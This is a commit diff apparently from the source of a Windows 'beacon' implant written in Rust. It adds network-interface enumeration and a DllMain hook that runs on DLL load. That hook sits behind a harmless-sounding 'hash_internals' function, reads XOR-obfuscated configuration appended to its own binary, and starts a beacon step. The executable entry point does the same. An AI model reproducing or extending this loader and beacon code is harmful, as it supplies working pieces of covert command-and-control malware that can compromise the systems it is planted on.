feat: made sure everything worked on Windows
This commit is contained in:
@@ -8,8 +8,14 @@ crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.95"
|
||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
async-trait = "0.1.86"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
|
||||
thiserror = "2.0.11"
|
||||
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
windows-result = "0.3.0"
|
||||
windows-strings = "0.3.0"
|
||||
winreg = "0.55"
|
||||
|
||||
[features]
|
||||
|
||||
169
sparse-windows-beacon/src/adapter.rs
Normal file
169
sparse-windows-beacon/src/adapter.rs
Normal file
@@ -0,0 +1,169 @@
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use sparse_beacon::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
|
||||
#[derive(thiserror::Error, Debug)]
|
||||
pub enum WindowsAdapterError {
|
||||
#[error("windows error")]
|
||||
Win32(#[from] windows_result::Error),
|
||||
}
|
||||
|
||||
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct WindowsAdapter;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl BeaconAdapter for WindowsAdapter {
|
||||
type Error = WindowsAdapterError;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
[&br"\Device\NPF_"[..], &interface.name].concat()
|
||||
}
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
|
||||
use std::slice;
|
||||
|
||||
unsafe {
|
||||
fn nul_ptr_to_slice<'a, T>(ptr: *const T) -> &'a [T]
|
||||
where
|
||||
T: PartialEq + From<u8>,
|
||||
{
|
||||
let mut len = 0;
|
||||
unsafe {
|
||||
while *ptr.add(len) != T::from(0) {
|
||||
len += 1;
|
||||
}
|
||||
|
||||
slice::from_raw_parts(ptr, len)
|
||||
}
|
||||
}
|
||||
|
||||
use windows::Win32::NetworkManagement::IpHelper::{
|
||||
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
|
||||
IP_ADAPTER_ADDRESSES_LH,
|
||||
};
|
||||
|
||||
let mut size_pointer: u32 = 0;
|
||||
|
||||
_ = GetAdaptersAddresses(
|
||||
2,
|
||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||
None,
|
||||
None,
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
let mut address_buffer = vec![0; size_pointer as usize];
|
||||
|
||||
let err = GetAdaptersAddresses(
|
||||
2,
|
||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
None,
|
||||
Some(address_buffer.as_mut_ptr() as *mut _),
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
if err != 0 {
|
||||
Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
||||
|
||||
let mut routes = vec![];
|
||||
let mut interfaces = vec![];
|
||||
|
||||
while !current_address.is_null() {
|
||||
let name = nul_ptr_to_slice((*current_address).AdapterName.0 as *const _).to_vec();
|
||||
let mtu = (*current_address).Mtu;
|
||||
let Ok(mac_addr) = &(*current_address).PhysicalAddress
|
||||
[..(*current_address).PhysicalAddressLength as usize]
|
||||
.try_into()
|
||||
else {
|
||||
current_address = (*current_address).Next;
|
||||
continue;
|
||||
};
|
||||
|
||||
let interface_index = interfaces.len();
|
||||
|
||||
interfaces.push(BeaconInterface {
|
||||
name,
|
||||
mtu: mtu as u16,
|
||||
mac_addr: *mac_addr,
|
||||
});
|
||||
|
||||
let mut gateway = (*current_address).FirstGatewayAddress;
|
||||
|
||||
while !gateway.is_null() {
|
||||
let ipaddr = (*(*gateway).Address.lpSockaddr).sa_data;
|
||||
let family = (*(*gateway).Address.lpSockaddr).sa_family.0;
|
||||
|
||||
if family != 2 {
|
||||
// AF_INET
|
||||
gateway = (*gateway).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
let gateway_addr = Ipv4Addr::new(
|
||||
ipaddr[2] as u8,
|
||||
ipaddr[3] as u8,
|
||||
ipaddr[4] as u8,
|
||||
ipaddr[5] as u8,
|
||||
);
|
||||
|
||||
let network = (Ipv4Addr::new(0, 0, 0, 0), 0);
|
||||
|
||||
let mut uni_address = (*current_address).FirstUnicastAddress;
|
||||
|
||||
while !uni_address.is_null() {
|
||||
let ipaddr = (*(*uni_address).Address.lpSockaddr).sa_data;
|
||||
let family = (*(*uni_address).Address.lpSockaddr).sa_family.0;
|
||||
|
||||
if family != 2 {
|
||||
uni_address = (*uni_address).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
// indices 0 and 1 are used to store the port
|
||||
// ...it's an interface... why does it have a port...
|
||||
let ipaddr = Ipv4Addr::new(
|
||||
ipaddr[2] as u8,
|
||||
ipaddr[3] as u8,
|
||||
ipaddr[4] as u8,
|
||||
ipaddr[5] as u8,
|
||||
);
|
||||
|
||||
let cidr = (*uni_address).OnLinkPrefixLength as u32;
|
||||
|
||||
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - cidr))
|
||||
.0
|
||||
.overflowing_shl(32 - cidr)
|
||||
.0;
|
||||
|
||||
if (mask & u32::from(gateway_addr)) != (mask & u32::from(ipaddr)) {
|
||||
uni_address = (*uni_address).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
routes.push(BeaconRoute {
|
||||
network,
|
||||
gateway: (gateway_addr, (*uni_address).OnLinkPrefixLength),
|
||||
interface_index,
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
gateway = (*gateway).Next;
|
||||
}
|
||||
|
||||
current_address = (*current_address).Next;
|
||||
}
|
||||
|
||||
Ok(BeaconNetworkingInfo { routes, interfaces })
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,20 @@
|
||||
use windows::{
|
||||
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
|
||||
core::*,
|
||||
use std::io::SeekFrom;
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
use windows::Win32::{
|
||||
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
|
||||
System::{
|
||||
LibraryLoader::{
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||
},
|
||||
SystemServices::DLL_PROCESS_ATTACH,
|
||||
},
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod adapter;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
if dw_reason == DLL_PROCESS_ATTACH {
|
||||
@@ -19,10 +31,62 @@ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
}
|
||||
|
||||
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||
unsafe {
|
||||
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||
let curr_module = HMODULE(std::ptr::null_mut());
|
||||
let comp_hash = compute_hash as extern "C" fn() -> ();
|
||||
|
||||
if let Err(_) = unsafe {
|
||||
GetModuleHandleExW(
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
|
||||
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
|
||||
curr_module.0 as *mut _,
|
||||
)
|
||||
} {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
let mut name = vec![0u8; MAX_PATH as usize];
|
||||
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
|
||||
|
||||
unsafe {
|
||||
let _ = FreeLibrary(curr_module);
|
||||
}
|
||||
|
||||
if name_len == 0 {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.build()?;
|
||||
|
||||
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
|
||||
|
||||
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(unsafe { std::str::from_utf8_unchecked(&name) })
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -1,144 +1,32 @@
|
||||
fn main() -> anyhow::Result<()> {
|
||||
let devs = pcap_sys::PcapDevIterator::new()?;
|
||||
use std::io::SeekFrom;
|
||||
|
||||
for dev in devs {
|
||||
println!("{dev}");
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(std::env::current_exe()?)
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
unsafe {
|
||||
use std::ffi::CStr;
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
use windows::Win32::{
|
||||
NetworkManagement::IpHelper::{
|
||||
GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses,
|
||||
IP_ADAPTER_ADDRESSES_LH,
|
||||
},
|
||||
Networking::WinSock::AF_INET,
|
||||
};
|
||||
|
||||
let mut size_pointer: u32 = 0;
|
||||
|
||||
let err = GetAdaptersAddresses(
|
||||
2,
|
||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||
None,
|
||||
None,
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
let mut address_buffer = vec![0; size_pointer as usize];
|
||||
|
||||
let err2 = GetAdaptersAddresses(
|
||||
2,
|
||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
None,
|
||||
Some(address_buffer.as_mut_ptr() as *mut _),
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
if err2 != 0 {
|
||||
eprintln!("Error code received for second one: {err2}");
|
||||
Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
||||
|
||||
fn pwstr_to_string(pwstr: *mut u16) -> String {
|
||||
use std::ffi::OsString;
|
||||
use std::os::windows::ffi::OsStringExt;
|
||||
use std::slice;
|
||||
|
||||
if pwstr.is_null() {
|
||||
return String::new();
|
||||
}
|
||||
|
||||
// Find the length of the null-terminated UTF-16 string
|
||||
let mut len = 0;
|
||||
unsafe {
|
||||
while *pwstr.add(len) != 0 {
|
||||
len += 1;
|
||||
}
|
||||
|
||||
// Convert UTF-16 slice to Rust String
|
||||
let wide_slice = slice::from_raw_parts(pwstr, len);
|
||||
OsString::from_wide(wide_slice)
|
||||
.to_string_lossy()
|
||||
.into_owned()
|
||||
}
|
||||
}
|
||||
|
||||
while !current_address.is_null() {
|
||||
println!("-----");
|
||||
println!(
|
||||
"Name: {:?} ({:?})",
|
||||
CStr::from_ptr((*current_address).AdapterName.0 as *const _),
|
||||
pwstr_to_string((*current_address).FriendlyName.0)
|
||||
);
|
||||
|
||||
println!("Mtu: {:?}", (*current_address).Mtu);
|
||||
println!(
|
||||
"Physical address: {:X?}",
|
||||
&(*current_address).PhysicalAddress
|
||||
[..(*current_address).PhysicalAddressLength as usize]
|
||||
);
|
||||
|
||||
println!("IP addresses:");
|
||||
let mut unicast_address = (*current_address).FirstUnicastAddress;
|
||||
|
||||
while !unicast_address.is_null() {
|
||||
let address = (*(*unicast_address).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tIP address: {}.{}.{}.{}/{}",
|
||||
address[2] as u8,
|
||||
address[3] as u8,
|
||||
address[4] as u8,
|
||||
address[5] as u8,
|
||||
(*unicast_address).OnLinkPrefixLength
|
||||
);
|
||||
|
||||
unicast_address = (*unicast_address).Next;
|
||||
}
|
||||
|
||||
println!("Gateways:");
|
||||
let mut gateway = (*current_address).FirstGatewayAddress;
|
||||
|
||||
while !gateway.is_null() {
|
||||
let address = (*(*gateway).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tIP address: {}.{}.{}.{}",
|
||||
address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8
|
||||
);
|
||||
|
||||
gateway = (*gateway).Next;
|
||||
}
|
||||
|
||||
println!("Routes:");
|
||||
let mut route = (*current_address).FirstPrefix;
|
||||
|
||||
while !route.is_null() {
|
||||
let address = (*(*route).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tRoute: {}.{}.{}.{}/{}",
|
||||
address[2] as u8,
|
||||
address[3] as u8,
|
||||
address[4] as u8,
|
||||
address[5] as u8,
|
||||
(*route).PrefixLength
|
||||
);
|
||||
|
||||
route = (*route).Next;
|
||||
}
|
||||
|
||||
println!("\n");
|
||||
|
||||
current_address = (*current_address).Next;
|
||||
}
|
||||
|
||||
drop(address_buffer);
|
||||
}
|
||||
_ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user